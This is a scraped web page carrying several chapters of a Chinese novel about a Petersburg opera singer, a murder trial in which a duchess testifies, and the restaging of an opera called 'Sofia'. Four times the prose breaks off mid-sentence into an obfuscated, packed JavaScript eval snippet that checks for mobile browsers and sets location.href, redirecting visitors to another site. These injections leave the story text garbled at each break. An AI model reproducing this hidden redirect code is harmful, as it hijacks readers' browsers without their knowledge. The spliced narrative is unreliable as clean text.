一个年轻的寡妇带着孩子难免会引起周围人的非议,尤其是深处我父母所在的那种大家庭。不过,我很幸运,很快就遇到了X公爵。我从未见过如此正直美好的男人,我疯快地爱上了他。当时有很多年轻美丽的贵族小姐追求他,但他最终却选择了我。为什么呢?我不明白。因为他太过善良所以出于同情选择了我?还是其他什么原因?总之,我带着自卑与怀疑嫁给了他。 我把第一段婚姻带来的孩子视为累赘。我很少关心阿列克桑德拉,总是把她留给仆人照顾。在少女时代,她就是一个孤独忧郁的孩子。她一个人看书、画画,一个人上法语课和钢琴课。她很聪明,学什么都学得很好,但我从来没有夸奖过她。我几乎不带她参加社交活动,我怕那些贵族太太们讨论起她,或者说,我的过去。很奇怪吧。明明是我第一任丈夫做了错事,是他对不起我们的婚姻,但我却承受着莫名的痛苦与羞耻。 后来,我怀孕了,我有了卡佳。再后来,我有了阿廖沙。我把这两个孩子视为我的救赎,我的希望。我把全部的精力与关心都给了他们。卡佳是位公主,真正意义上的公主。她和公爵一模一样,正直、善良。卡佳很喜欢这位姐姐,这是令我意想不到的。 有段时间,在卡佳的影响下我和阿列克桑德拉的关系竟缓和了一些。我注意到阿列克桑德拉很喜欢骑马,没事总往马场跑,于是我送给了她一套骑马装。但是后来我听带她的仆人说,她和马场管理员的小儿子伊万走的很近。 有一次,阿列克桑德拉去骑马,很晚都没有回来。我和公爵大晚上带着仆人去找,最后在马场后面树林的小木屋里找到了阿列克桑德拉和伊万。推开门的时候,阿列克桑德拉靠在伊万身上,她的腿因为骑马受伤了。我震惊地看着眼前的女儿,骂了她不知羞耻,然后愤怒地离开了。后来,还是公爵把她带回去的。从那之后,我和阿列克桑德拉的关系又陷入了僵局。我不愿意再理她,认为她是我的耻辱。 两年后,她长大了。她出落的很漂亮。她所经历的一切并没有让她变坏,她依旧善良、富有同情心。但和在爱里长大的孩子不同,她不自信,性格怯懦、软弱。我并不指望她能找到多么出色的婚配对象,能给她的嫁妆也有限。但公爵对阿列克桑德拉的婚事很却上心。在多番比较之后,他为阿列克桑德拉选了一位富裕且有一定官阶的人。很遗憾,就是现在站在被告席上那位。我虽然表面上对阿列克桑德拉感到失望,但她有了不错的归宿也算是松了一口气。然而,我没有想到,她的苦难才刚刚开始。 阿列克桑德拉婚后就很少和我们联系了。我不知道她过得怎么样。不过,我想没消息或许是好消息。直到我听到那件令人震惊的丑闻,我才明白她婚姻的真相。 是的,她又和伊万见面了,而且闹出了不小的动静。她的丈夫那时候站了出来,我们都感激他挽救了阿列克桑德拉的名誉以及家族的名誉。我,作为她的母亲,带头指责她,甚至唾弃她。 我花了很久才理解阿列克桑德拉当时的处境。其实,我并不用花那么久去理解她,因为我自己也曾经历过不幸的婚姻。但人一旦过上了好日子,就容易忘记曾经的不幸,甚至会反感处于同样不幸处境中的人。人啊,就是那么贱! 阿列克桑德拉从一开始就不爱自己的丈夫,对方也是一样。正如她后来在给我的信上写的那样,她进入婚姻的那一刻就意味着走进了一座坟墓。她怀念那个唯一给过她温暖的男人,她再次投入了她的怀抱。 我并不是要替她的行为辩解,但这是一个十八岁的女孩当年经历的事实。 经历了所谓的“丑闻”之后,阿列克桑德拉遭到了所有人的抛弃,包括那个口口声声说爱她的男人。从那之后,她变了。她不再抱怨自己的婚姻,她对自己的丈夫言听计从。而她的丈夫,在经历那件事之后仿佛永远地站在了道德的制高点。在她偶尔写给我的信中,我能感受到她丈夫对她的压抑、控制和无形的折磨。 她问我,妈妈,婚姻就是这样的,对吗?我不应该反抗,对吗? 是啊,她还能问谁呢?即便我对她态度冷淡,即便我努力和她拉远关系,她还是在最艰难的时刻给我写信,她当时应该很无助吧? 可我总是以沉默回应她。 后来,她的忍耐并没有换来丈夫的怜爱,反而让对方变本加厉,甚至想要了她的命。 至于是彼得·阿列克桑德罗维指使他的情妇下毒还是他的情妇撺掇他谋杀妻子,重要吗?他是什么样的人已经很清楚了!他在法庭之上谎话连篇!还有他旁边那个卑鄙的辩护人,只认钱不要廉耻的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129314|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 公爵夫人在叙述的过程中调理清晰,精神状态并不像我之前见到她那般神经质,只是说到最后再也抑制不住激动的情绪,对彼得·阿列克桑德罗维和辩护人破口大骂。 全场陷入了沉寂。片刻之后,审判长问道:“请问您为什么到今天——此时此刻才把这些话说出来呢?” “因为我无法面对自己这些年对阿列克桑德拉所做的事。我试图麻痹自己,我告诉自己,那是她的命运,没有其他办法!因为我自私,懦弱!我是一个彻头彻尾的坏母亲!我本来今天也不打算来的。是公爵,是受他的影响我今天才会出现在此。他太好了。他……”公爵夫人突然难忍泪水,“他因为这件事气得吐了血,旧病复发。阿列克桑德拉不是他的孩子,他却像对待自己的亲生女儿一样上心。他很自责,说阿列克桑德拉的命运是他造成的,因为她的婚事最初是他提议的。” “请证人注意情绪。”审判长语气也缓和了些,低声提醒道,“您可有什么证据要提交?” “有。”公爵夫人把一个小包袱交给法警,“这里面是阿列克桑德拉这些年给我寄的信,全在这了。” 法警接过公爵夫人的包裹,从中取出一沓信交给了审判长。审判长开始审查证物。 公爵夫人还在低声喋喋不休,“我的大女儿一辈子都在受苦!而她受苦的根源就是我!没错!是我!是我害她的人生一片昏暗……” “被告,你有什么话要说吗?”审判长问。 彼得·阿列克桑德罗维脸色冷峻了下来,没有说话。辩护人科兹洛夫也一副心思深沉的模样。公爵夫人却突然两眼放光,像是想起来什么似的。她朝被告席扑去,嘴里喊着,“刽子手!你会下地狱的!” 公爵夫人这一举动使本就戏剧化的庭审现场气氛更加紧张。审判长命令法警先把公爵夫人带下去,然后宣布休庭。陪审员们离座起身,准备退场商量。 群众们惊心动魄地听了大半天,终于按耐不住激动的情绪开始七嘴八舌讨论起来。 “大名鼎鼎的辩护律师这下没办法喽。” “该死!整天昧着良心做事!” “看来这些贵族小姐、夫人日子也不好过。” “现今谁的日子好过?” “被告这下逃不掉了。” “恐怕得去矿上服十几年役吧。” “他妻子不是还活着吗?听说还没醒来。可能会从轻发落。” …… 陪审员们商量了一个多时辰才回到庭上。公众重新坐定,所有人都聚精会神地等待着审判结果。 审判长在万众瞩目中用洪亮的声音宣布,被告人彼得·阿列克桑德罗维奇·尼古拉耶夫蓄意谋杀妻子的罪行成立,法庭将根据被告的犯罪性质、个人情况等因素对被告进行刑罚裁量。 宣判被推迟到一周后。彼得·阿列克桑德罗维奇被押了下去。他的面孔又变得模糊不清,像被一块黑布遮住了一样,我看不清他的表情。 民众在一片混乱声中逐渐离去。有人对此结果拍手叫好,也有人为被告因如此过失葬送了人生感到可惜,当然,大多数人是看热闹后的疲惫,他们可能一出法庭就会把这件事抛诸脑后。 走出大厅后我长出了一口气,感到了久违的放松 我努力寻找公爵夫人的身影。突然,我感觉背后有人拍了我一下。一回头,一双陌生的、炯炯有神的眼睛正盯着我。这双眼睛的主人是个穿着奇装异服的女士——她头戴圆顶窄檐帽,身穿一件夹克上衣,一条黑色阔腿裤,显示出流畅的腿部线条,裤脚在脚踝处收紧。 “做得好!”她的声音低沉而充满磁性。 “您是谁?”我疑惑地问。 “我们还会再见面的,”她的嘴角神秘地上扬了一下,“安娜小姐。” 说完,她便消失在了人群之中,像一只特立独行的猫。 13. 第20章 公爵夫人庭审结束第二天就离开了彼得堡。离开之前,她在昏迷的阿列克桑德拉·米哈伊洛夫娜的房间呆了一个多小时。从房间出来之后,她郑重地握了握我的手,这是我和她为数不多的几次正面交流。 送走公爵夫人,女仆过来递给我一张便条,说是有人让转交给我的。我惊奇地打开便条,然后迅速叫上车夫准备出门。 便条上面只写了一个地址,落款Ж。这是位于维内格雷斯基大街上的一处小套房。到了之后,我敲了敲门,里面传来一个似曾相识的声音,“门没锁。” 我打开门走了进去。客厅不大,里面的家具也不多,陈设相当随意。有一个长沙发,一个躺椅,两个长椅及小桌几。墙上挂着许多画,有几幅出自名家之手,其余大部分是无名氏的作品,但每一幅画风都很独特。靠窗的地方摆着一架钢琴,钢琴上堆满了各种器皿、花瓶、书,还有一幅陌生女人的照片。 屋内光线不强,长沙发上扔着一条小毯子,几件长外套,凑过去才发现上面还坐着一只波斯猫,正凶巴巴地盯着我这个意外访客。长沙发前的茶几上放着一杯剩茶水,几块吃剩的饼干和巧克力,还有一摞厚厚的乐谱。 正在我好奇地要继续往里走时,里间的门帘卷起,有人走了出来。 “是您!”我惊讶地说道。 站在我面前的正是昨天庭审结束之后遇到的穿着长裤和夹克的女士。 她挑了下眉毛,“请坐。喝点什么?咖啡?还是茶?” “咖啡,谢谢。” 我在凌乱的长沙发上好不容易找了个位置坐下。波斯猫见我过来不情愿地往另一侧挪了挪。 “您叫什么?”我问。 “黛西。” “父称呢?” “没有。” “您没有父称?” “为什么一定要有父称?我是谁一定要注明是谁的女儿吗?” “可是所有人都有呀。”我不可思议地笑了一下,“那我怎么称呼您呢?” “叫我黛西就行,认识我的人都这么叫。还有,”她把咖啡递给我,然后在我对面的圈椅上坐下,“我们可以用‘你’相互称呼吗?” “……好吧。”我迟钝地点了点头,“所以说,《索菲亚》是您,不,是你写的?” “是。” “我没想到Ж竟是位女士。你是职业作曲家吗?” “算是吧。我也写剧本,也当过导演。以前在一些小剧院呆过。” “黛西,你很有天分。” “讨生活罢了。” “我很喜欢《索菲亚》。” “你接下来有什么计划?我是说,关于《索菲亚》你有什么想法?” “你应该也知道,首演情况不好,彼得堡歌剧院已经放弃这出剧了。我现在不知道该怎么办。” “你觉得很灰心吗?” “有点。” “没什么灰心的。是观众的问题,不是你的问题。如果你想继续演的话,我有办法。不过当然不是在彼得堡歌剧院,是在别的剧院——我是指,我所熟悉的那些地方。我会重新编排创作《索菲亚》,按照我的想法。” “会有人来看吗?……现在报纸上都是负面评论。” “不知道。”她点燃一根烟,“这得看你,你是女主角。你有信心,作品才有信心。而且,我所说的那些剧院可不像彼得堡歌剧院那般有名气,都是很普通的场所。如果你觉得放不下架子,那就不用继续和我谈了。” “我没有觉得放不下架子。只是,我和彼得堡歌剧院签订了长期合同,我需要尊重剧院的规章制度和排演计划。当然,可以有那种情况,去其他剧院短期演出或者客座演出,不过这得在特殊的情况下才能发生。总之,我需要跟我的经理人还有剧院经理商量一下这件事。” “当然。”她点点头。 “黛西,你怎么知道给我一定会来找你?” “哦,猜的。其实你不来也没什么,毕竟你是大明星。” “我不来的话你会从此放弃《索菲亚》了吗?” “可能吧。我一个人也无力回天。不过有你加入,我又有了信心。” “为什么?” “你是最适合演索菲亚的人。” “谢谢你没有放弃《索菲亚》。” “我不太擅长说客套话。” “我没有在说客套话。” “好吧。不过你以后要小心点。万一Ж是个油腻的男人,你这样突然前来是有风险的。” “我无法想象写出《索菲亚》的人会是个油腻的男人。” 黛西笑了,“你太单纯了。不要把艺术家的人品和才华相提并论。” “不过,你昨天为什么会出现在法庭上?” “凑热闹呗。” 黛西不像喜欢凑热闹的人。她似乎另有理由,但她不愿意说出来,我也没有继续问。 我和黛西又随便聊了点其他的——关于门口的树,她的波斯猫等等。黛西看上去并不喜欢闲聊,但她很真诚,即便是自己不感兴趣的问题,她也会真实作答。 黛西看了眼手里的怀表,像是马上要出门,我便起身告辞了。她把我送到门口,我对她笑了笑,说,“你的裤子和夹克很漂亮。” 她摊了摊手,“喜欢的话可以送你。” 从黛西家出来后,我的心情像被雨水冲刷过一样,是一种前所未有的清新、独特的感受。 马车沿河驶着,飞鸟轻盈地掠过涅瓦河面。入秋的河水清冽明澈。路旁的白桦树像披上了金色的披肩。彼得堡的盛夏结束了,新的季节开始了。 第二天一早,我去歌剧院找了剧院经理。剧院经理正准备把下个月的排演计划转达给我,但被我打断了。我把自己的计划告诉了他。 “您还要演《索菲亚》?”剧院经理瞪大了双眼。 “没错。” “您这是何苦呢?纵使您喜欢这剧,可观众不买单呐!俗话说得好,识时务者为俊杰,您何必往枪口上撞呢?”剧院经理用讨好的语气尽力劝说道。 “鲍里斯·亚历山大罗维奇,我并不是在跟您讨论我要继续演《索菲亚》这件事,而是我之后在彼得堡歌剧院的排演计划。我会把重心依旧放在歌剧院的舞台上,但《索菲亚》我已经决定继续演下去了。” 见我想法坚定,剧院经理用不甘心的语气说道:“您和剧院是签过合同的。按理来说,您私下在别的剧院演出是不合规定的。但我们已经合作这么久了,您实在坚持的话我可以为您松个口子。这样吧,您一年之内脱离剧团在外演出不能超过两次,如何?” 我摇了摇头,“两次太少了。” “那您想怎么样?” 剧院经理既不愿意放弃我这个赚钱的台柱子,又不想妥协。 “我现在也无法确定。您知道的,一部歌剧的上演频率会受到多方面因素的影响——演出效果、剧院的安排等。” “演出效果不是已经知道了吗?”剧院经理斜着眼说道。 “那只代表首演当天的观众的感受,并不能因此定性。” “希望吧。”剧院经理鼻子闷了一声,“所以您到底想怎么样?” “《索菲亚》的排演日程我自己决定,剩下的演出工作你们决定。我会尽量避免二者有冲突。” “不行!”剧院经理激动起来,“您要是一年在外悄无声息地演个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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《索菲亚》重要到让我孤注一掷吗?可能也并非如此。我对于原来那种“讨好”式的演出有些厌倦了。我想离观众近一点。我想和他们更真实地交流。我不想要所谓的辉煌、成就,我想要真实的艺术。如果没有《索菲亚》,可能我还会按部就班地继续自己原来的路。但它就是出现了,它出现在我职业生涯的转折点,在我人生的关键时刻。我不知道您能否理解我说的一切。但我已经决定了,对不起。” “观众不喜欢只是一时的事,你不要这么敏感嘛!还扯到什么真实不真实的艺术。哪有这么多事。”剧院经理不理解地嘟囔道。 “请代我向所有的同事们说一句对不起。” “既然您心意已决,我也不继续劝您了,省的碰一鼻子灰。只是,我最后告诉您一声,机会来之不易,过了这村可就没这店了。新的女歌手会像雨后春笋一般涌现。很快您的位置就会有更年轻的姑娘填补上来了。” “嗯。” “那个……既然如此,您把违约金付一下吧。” “违约金?” “您不知道吗?如果您单方面放弃合作,是要付违约金的。” “签合同的时候您没说这一点。” “这是业界默认的事吧。您不付违约金,这传出去名声可不好,以后在别的地方也不好混呐。”剧院经理冷漠地说道。 “我改天让经理人转交给您。” “尽快吧。因为您的事近期剧院收入也受了影响。” 剧院经理的商人嘴脸在最后的时刻终于显现了出来。 “放心吧。 说完,我转身大步离开了歌剧院,这个带给我最初的辉煌,也承载了我这些年酸甜苦辣的地方。 14. 第21章 从歌剧院走出来后,我在大街上慢悠悠地晃着,心情是从未有过的放松。我迫不及待地想把这个消息告诉卡佳,告诉阿列克桑德拉·米哈伊洛夫娜。但眼下最主要的,我要告诉黛西。 我来到了黛西的住处,心情激动而忐忑地敲响了她家的门。过了好大一会儿,门才打开。 “你怎么来了?”黛西穿着一身黑色的棉麻睡衣,头发乱糟糟的。 “刚起床吗?” “早上才睡。”她抓了抓凌乱的头发,“有事吗?” “我有话跟你说。” “哦,那进来吧。” 我跟在她身后走进了客厅,一屁股坐到依旧堆满衣物的长沙发上。这次波斯猫只是鄙夷地瞅了我一眼,没有迅速离开。 “黛西,我离开彼得堡歌剧院了。我应该不会再回去了。” “啊?”黛西困倦的双眼突然睁大了一些。 “剧院不同意我演《索菲亚》,所以我和他们解约了。” “这么突然?” “黛西,你不是又会作曲又会导演吗?再多加一份工作吧。当我的经理人,怎么样?” “你要累死我?再说了,我干这么多事是为了谋生,不代表我都做得好。” “你做得很好!我相信你。” “别给我戴高帽子。”她从圈椅上站起来,“我自己几斤几两心里清楚。你离开彼得堡歌剧院,这事我管不着,我只负责《索菲亚》的演出。你还是找专业的经理人吧,免得耽误了前途。” “我不管。我没工作了,还要赔违约金。你要是不答应我就一直呆你这了。” “你喝酒了?” “没有!我清醒得很。” “那咱们两个很熟吗?” “不是见过两次了吗?还有,上次见面你就让我改口用‘你’称呼了。” “你做了这么重要的决定,现在来找我负责。” “你告诉我要对《索菲亚》有信心。我也不知道为什么就是信任你。”我嘟囔道。 “我得好好考虑一下。我这么说不代表我同意了。” “好好好,你慢慢考虑。”我拍了拍她的肩膀,“对了,有吃的吗?我饿了。” “有昨天剩的面包和香肠。” “你中午吃什么?就吃这个吗?” “我吃饭不规律。有时候需要连续创作,一离开书桌发现天不是全黑了,就是亮了。” “这样不行,黛西,你搬去和我住吧。不过,你去的话不能带猫。我不喜欢猫,你看它凶巴巴的。”我指着波斯猫,“我那里有两只狗,一只萨摩耶犬,一只牧羊犬,它们叫米莎和玛莎,你会喜欢它们的。” “你确定这不是绑架?” “我是为你好嘛!” 黛西撇了撇嘴,走进了厨房。不一会儿,她端过来一份冷盘汤,一份香肠,还有切好的黑面包。 “吃吧。不知道你整天吃高级食物能不能吃得惯这些。” 黛西虽然一副不耐烦的表情,但动作却很温柔。 “我小时候吃得比这个差多了。”我接过勺子和刀叉。 “是吗?” “小时候我们家的贫穷程度你应该很难想象。我的记忆里还留存着那些场景:逼仄狭小的房间、四处散落的刷子、破布、破瓶子……后来,一位善良的公爵收养了我,我的命运才发生了改变。” “我知道。”她默默说道。 “你怎么会知道?”我有些惊讶。 “嗯……以前在报纸上看的嘛。就是,你知道的,有那些八卦的小报。” “哦。” 不知为何,黛西的眼神在某个瞬间显得有些慌乱。 “你呢?不喜欢父称的黛西一直一个人生活吗?” “我父母都去世了,死于一次海难。其实,他们在世的时候也总不在我身边。我从小就习惯一个人了。”她的语气很平淡,脸上也没什么表情,“对了,我要给你看一个东西。” 黛西进了书房,拿了一个笔记本出来。 “这是什么?” “我想给你说一下《索菲亚》的改编方案。”她一只手拿着笔,重新在圈椅上坐下,“因为我们的演出场所空间有限,所以我准备把《索菲亚》改编成小剧场歌剧。” “具体怎么做?” “首先,我会压缩剧情,减少人物数量,强化主要人物的冲突,让故事更加紧凑。其次,我们没有庞大的乐队,因此需要简化配乐。我会根据剧场的空间和观众的听觉感受,调整节奏和旋律,使其更适合小剧场演出。 至于舞台设计和服装等,这个后面再说。总之,一切都要适应小剧场的空间,以免过于夸张的设计影响观众的观赏体验。还有,我想加入一些喜剧元素,让作品的整体风格偏轻松诙谐一些,避免过于正式。作品要有趣,观众才能更快地走进去,这也是小剧场‘零距离’歌剧的优势所在。” “我需要做什么?” “改编后的《索菲亚》会有很多‘吵架戏’。但不同于之前剧中那种过于正式的吵架,新的“吵架戏”会加入诙谐的元素,节奏也会变快。这需要演员之间默契配合,接词接得快而准。唱腔中要有说话时争吵的语气,速度要准确把握。总之,我希望这部分最终呈现出来的是一段和谐优美的大重唱。” “黛西,你真是个天才!这才过了一晚,你就已经有了新思路,你……” “打住。”黛西做了个暂停的手势,“这只是初步的想法,之后还要进一步打磨剧本和乐谱,同剧院联系,看场地排练等等。事情还多着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黛西提到阿列克桑德拉·米哈伊洛夫娜的时候表情略微有些不自然。 “我请了专门的护工时刻在她身边照顾,有什么情况会第一时间转达我。” 黛西点了点头。 “不过,”我接着问,“你写《索菲亚》之前就知道阿列克桑德拉·米哈伊洛夫娜的事情了吗?你的剧本有没有受她的影响?” “没有。”黛西站了起来,回答得干脆直接,“你吃完赶快回去吧。我还有很多事要忙。” “知道了。” 我朝她伸出右手,“合作愉快,黛西。” 她定定地看了我几眼,伸出右手,露出了这两天第一抹微笑,“合作愉快。” 15. 第22章 我不知道黛西以前究竟经历过什么,过着怎样的生活,但我想,或许是和我完全不同的生活。她看上去一副生人勿近的模样,可‘三教九流’的人都认识。即便是在男人堆里混也气场强大,毫不怯场。 黛西很快就找到了一家愿意排《索菲亚》的剧院。这是一家私人剧院。该剧院不大,名气也一般,有时会上演一些公共剧院不愿或者不敢演出的作品。据说,该剧院的负责人很神秘。 黛西和剧院导演伊里奇·伊万诺维奇·彼得罗夫很熟。这位年纪不大、但头发已经半白的小个子导演接待了我。能看出来,他对我态度良好一方面是由于我的名气,但更大程度上是出于对老朋友黛西的信任。 我的新同事对我的态度很微妙。一方面,我比他们更有名气,他们对我本人以及我的到来都充满了好奇,对于同我合作他们表现得很乐意;但另一方面,我们合作的剧目是被公认为“首演失败”的一部剧,他们对此次复演也心怀担忧与疑虑。 排练过程中,我发现这些小剧院的艺术工作者们虽然没什么名气,但对艺术抱有的想象力及创造力并不亚于那些所谓的“明星”,有时候我也能从他们的表演中获得一些意想不到的启发。 总的来说,排练的氛围比较轻松,剧组并没有特别森严的等级制度,譬如导演具有绝对话语权等,乐手、演员们都可以自由发表意见。但过度的自由也意味着一定程度的懒散,排演时常因为中间长时间的闲聊和休息而拖到很晚才结束。这时,我会怀念曾经在彼得堡歌剧院高效率的排练。 我来剧院的第一天已经想好要把熟悉的“面具”搬出来以抵抗社交压力,但我很快发现,一些所谓的社交场景不过是我自己想象出来的。我的到来一开始的确引起了一小阵骚动,但很快每个人都各归其位,埋头忙自己的工作,想着多赚几个卢布,多偷一会儿懒,没人太在意你是歌星还是扫地的。最多,有几位热情的同事会多询问几句,晚饭吃了什么?葡萄酒好不好喝? 黛西把导演、舞台设计等工作全权委托给伊里奇·伊万诺维奇,她自己专心投入创作,虽然,她从没告诉过我自己正在创作什么内容。有时候她也会来剧院看排练,坐在观众席上,戴着黑色贝雷帽,叼着根烟,作沉思状。排演结束她会跟伊里奇·伊万诺维奇探讨一些细节。 复演的日子逐渐逼近。随着剧票开始售卖,一些报纸上又出现了关于《索菲亚》还有我的传闻。 最初看见那些报纸是在黛西家。那天黛西正同我商量一些事情,我偶然瞥见了放在餐桌上的几分报纸。黛西问我要不要看,我想了一下,最后还是拒绝了。黛西也没有再问,她对于报纸上写的东西一向持冷淡态度。后来,从新同事看我的眼神中我相信他们也已经看过报纸了。我坚持演出前不接收任何来自外界的评论。正如黛西所说,我自己稳住了,周围的人才会稳住,作品才能正常发挥。 可外表的淡定是以内心的无数次焦虑与紧张为代价的。好多个夜晚,我都因过度紧张而在家崩溃大哭。我会怀疑自己——我真的做了一个正确的决定吗?如果当初留在彼得堡歌剧院会不会是完全不一样的境况?如果复演失败怎么办?等到天一亮,还是得擦掉眼泪继续排练。而排练的过程中心态又会发生变化。随着排练效果越来越好,我又会暗自庆幸自己做出了这样一个决定。 内心的无数次纠结、徘徊、斗争最终等来了《索菲亚》的复演。 复演当天,除了我自己,最紧张的人应该是黛西。她在台前台后忙来忙去。黛西特别关注到场的观众。从观众一进门她就暗自观察他们的反应。 随着序曲的开始,台下的观众逐渐安静下来。今晚的上座率不算高也不算低。相比于彼得堡歌剧院,来这里看演出的观众衣着更随意、轻松一些,整个剧场的氛围也比较亲民化。 序曲结束,伴随着心脏的“咚咚”狂跳,我走上了舞台。虽然排练很多次了,但刚开始由于紧张呼吸浅而快,高音不够稳定和持久。最终,在一个转音处,由于音高控制不够精准出现了一点小失误。我的心咯噔一下,凭借着肌肉记忆完成了第一幕第一场的演唱。但正是因为这个小失误,后面我反而有了豁出去的心态。 接下来的几场因为声带放松了下来,我的声音变得灵活轻巧,情绪也有效传递给了观众。在我们所用心设计的每一处情节,观众都给出了该有的反应。这种感觉简直棒极了。 终场音乐我们保留了原先那首轻快的幻想曲。不同于首演时冷淡的终场,今晚的观众虽然没有给予非常热烈的回馈,但从他们的表情中可以看出,他们走进了这个故事,他们在思考,在回味。 演出结束,我的新同事们仿佛被观众传染了一样,一个个也像是在回味着什么。没有人露出特别开心或是失落的神情,也没有人讨论今晚成功或是失败。大家都默契地没有相互说太多话。 门童掀开化妆间的帘子走了进来,转交给了我一束红玫瑰。花束上有一封信,落款是Е.Х. “我亲爱的小鸽子,涅朵奇卡,我知道,此时此刻,你刚刚完成了一件了不起的事情。我不知道结果如何,但我只想吻你,告诉你,你是我最棒的小歌手。 我知道最近发生了许多事——阿列克桑德拉·米哈伊洛夫娜的案子、你的演出等等,而发生这些事的时候,我都不在你的身边。有时候,我多么希望能突然拥有瞬间移动的能力,那样我就可以在你被人欺负的时候、你为难的时候立刻出现在你的身边,陪伴你,用我所有的力量帮助你。可我最终只能在离你很远的地方默默地为你祈祷、祝福,希望我的小鸽子能够挺过来。而我也知道,你一定能挺过所有的难关。 我在报纸上读到了关于《索菲亚》的新闻。亲爱的,无论你做出什么决定,我都只有一个选择——支持你。你尽管飞吧。如果有一天你不幸跌落,我会用翅膀把你接住,让你安稳着陆,然后舔舐你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不用,车夫在门口等着了。” “那好,回头见吧。” “黛西。”我叫住她。 “怎么了?” “涅朵奇卡是我妈妈给我取的小名。” “知道了。不过你不用给我解释那么多,反正我又不是卡佳,不会那么叫你。” “你不是只看了几个字吗?” “就两三行……” 没等她说完,我就上前拥抱了她,“谢谢你,黛西。没有你就没有今晚的演出。” 黛西有些没反应过来,双手停在半空,过了几秒才僵硬地拍了拍我的背,“不客气。” 16. 第23章 复演过后没几天,剧院经理便从外地赶回了彼得堡。黛西约了他和我们见个面。我以前接触过不少剧院经理,多是金钱至上、唯利是图的角色。想到《索菲亚》的命运又要前途未卜,我内心忐忑。 傍晚,我和黛西提前来到了约定的地方——一个位于涅瓦河畔的小酒馆。 “他叫什么?”我问。 “谢尔盖·谢尔盖耶维奇。” “姓呢?” “斯捷潘诺夫。” 我看了眼被夕阳的金色余晖洒满的涅瓦河面,“我倒是认识一位谢尔盖·谢尔盖耶维奇,也姓斯捷潘诺夫。不过,应该是重名。” “安娜!安涅塔!” 背后突然响起一个似曾相识的声音。 我和黛西同时转过头。门口站着一位蓄着短胡子的男人。当我再仔细一看时,整个人不禁愣在了座位上。一切就是那么凑巧,眼前正是我认识的那位谢尔盖! “安涅塔,好久不见!”谢尔盖略微踉跄地走了过来。 “你们认识?”黛西问道。 “我和安涅塔是老朋友了。”谢尔盖笑着看向我,“对吧?” 虽然他比以前沧桑了许多,但笑起来双颊的酒窝顺间把我的记忆拉回了刚认识他的时候。 “是,我们……很久以前就认识了。不过,谢廖沙,你不是去了克里米亚吗?”我问。 “别提啦!坐着说吧!”谢尔盖招手让我们坐下,“我刚一到克里米亚就受伤了。你瞧,这左腿怕是要落下终身残疾了。” 我看了眼谢尔盖的左腿,膝盖处至今仍用软绷带固定着。 “后来呢?” “后来我就提前从那边回来了,在医院养了几个月伤。出院后,鉴于我的身体情况上面建议我提前退伍,还给我安排了个文职工作。不过我没去,受不了不自由的生活。我颓废地在家呆了很久,无所事事。除了去剧院看看戏,基本不太出门。 有一天,我突然收到一封信,说我有个远房叔叔去世了,而我是唯一的继承人。就这样,我意外获得了很大一笔财产。我拿着那么一大笔钱既惊喜又茫然,不知道该用来做什么。正巧那时候我经常去的一家剧院经营状况不好,我就顺势接管了这家剧院。安涅塔,就是你前不久演出的这家。” “原来如此。” “说来也是缘分。安涅塔,我还是因为你才对歌剧产生了真正的兴趣,才会接管这家剧院。而你,现在竟在我的剧院里演出了。多么神奇的缘分呐!” “谢廖沙,我欠你一句对不起。” “嗨,都是过去的事啦!现在不谈了。”谢尔盖挥了下手。 “等等!”黛西打断道,“我还没搞清楚你们两个是怎么认识的?” “我们是因缘结识。倒是你,黛西,你怎么会认识安涅塔?” “怎么,我就不配认识你的安涅塔了吗?” “我当然不是这个意思。” “我们也是因缘结识。”黛西淡淡说道。。 “好吧。你既然做了安涅塔的经理人,以后要专心对她一个人。” “你这话什么意思?” “我什么意思你不知道吗?”谢尔盖笑着点了根烟,“你为好几个女歌手创作过吧。” 黛西朝谢尔盖怀里扔了个橘子,示意他闭嘴。 “好了!”我打断道,“我们讨论一下工作吧?” “安涅塔,”谢尔盖收起玩笑的脸,“我早就在报纸上看到了你的消息。其实……我总是关注你的事呢。你哪部剧反响特别好,哪部剧卖座率一般,包括你离开彼得堡歌剧院,这些事我都知道。你放心,现在这家剧院我说了算,你想演什么我一定支持。” “其实我们前两天复演的情况还不错。”黛西冷不丁来了一句。 “我知道。伊里奇·伊万诺维奇都告诉我了。” “《索菲亚》复演的时候我特意观察了台下的观众。值得注意的是,在我们对剧本做出调整之后,我是指,把剧本改编成小剧场歌剧以及加入一些喜剧元素,观众的观看体验似乎更丰富了。其实大剧场和小剧场之间不仅仅是空间大小的区别,艺术呈现的方式、观演关系这些都不一样。在小剧场里,舞台离观众更近,演员和观众的关系更密切。总之,我认为这是一次有益的尝试。在此基础上,我们可以再大胆一些。”黛西单手支着下巴,冷静地说道。 “具体怎么做?”谢尔盖问。 